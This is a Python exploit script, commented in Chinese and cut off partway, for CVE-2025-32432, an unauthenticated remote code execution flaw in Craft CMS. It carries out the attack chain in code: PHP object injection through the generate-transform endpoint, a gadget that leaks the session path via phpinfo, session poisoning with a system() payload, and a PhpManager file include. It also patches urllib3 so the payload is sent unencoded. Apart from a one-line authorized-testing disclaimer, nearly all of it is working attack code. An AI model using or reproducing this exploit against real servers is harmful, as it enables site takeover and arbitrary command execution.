#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-32432 - Craft CMS 未授权 RCE 利用脚本(Session 投毒 + PhpManager 文件包含) 适用目标: Craft CMS 3.x <= 3.9.14 / 4.x <= 4.14.14 / 5.x <= 5.6.16 (未授权访问 actions/assets/generate-transform;修复版本:3.9.15 / 4.14.15 / 5.6.17) 参考公告:GHSA-f3gw-9ww9-jmc3(CVE-2025-32432) 利用链: 1. handle 参数进入 Craft::createObject() 造成 PHP 对象注入; 2. GuzzleHttp\\Psr7\\FnStream(_fn_close=phpinfo) 触发 phpinfo, 泄露 session.save_path; 3. 将 PHP 代码以原始(未编码) URL 写入 session 的 __returnUrl 完成投毒; 4. yii\\rbac\\PhpManager(itemFile=会话文件) 令目标 require 会话文件, 执行任意命令。 用法: python3 rce.py -u http://craft.nyx --check python3 rce.py -u http://craft.nyx -c "id; hostname" 仅限授权测试环境使用。 """ import argparse import binascii import re import sys import urllib.parse import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 关键点: 在连接层 unquote URL, 使投毒载荷以原始字符进入 HTTP 请求行, # 从而原样写入 session 文件(否则会写入 %3C%3F... 惰性文本)。 _ORIG_MAKE_REQUEST = urllib3.connectionpool.HTTPConnectionPool._make_request def _raw_make_request(self, conn, method, url, **kw): return _ORIG_MAKE_REQUEST(self, conn, method, urllib.parse.unquote(url), **kw) urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_make_request POISON_PHP = "=system(hex2bin($_GET['c']));die()?>" SESSION_FALLBACK = "/var/lib/php/sessions" FNSTREAM_INFO = { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo", } PHPMANAGER_RCE = { "class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "yii\\rbac\\PhpManager", } def build_payload(gadget, session_file=None): config = dict(gadget) if session_file: config["__construct()"] = [{"itemFile": session_file}] return {"assetId": 1, "handle": {"width": 1, "height": 1, "as poc": config}} class CraftExploit: def __init__(self, base_url): self.base = base_url.rstrip("/") self.session = requests.Session() self.session.verify = False self.csrf = None self.sid = None self.save_path = SESSION_FALLBACK def init_session(self): r = self.session.get(f"{self.base}/index.php?p=admin/dashboard", timeout=15) match = re.search(r'"csrfTokenValue":"(.*?)"', r.text) self.csrf = match.group(1) if match else "" self.sid = self.session.cookies.get("CraftSessionId") if not self.sid: raise RuntimeError("未能获取 CraftSessionId,目标可能不可达或非 Craft CMS") return {"X-CSRF-Token": self.csrf} def check_and_leak_path(self, headers): r = self.session.post( f"{self.base}/index.php?p=admin/actions/assets/generate-transform", json=build_payload(FNSTREAM_INFO), headers=headers, timeout=20, ) if "PHP Version" not in r.text: return None match = re.search(r'session\.save_path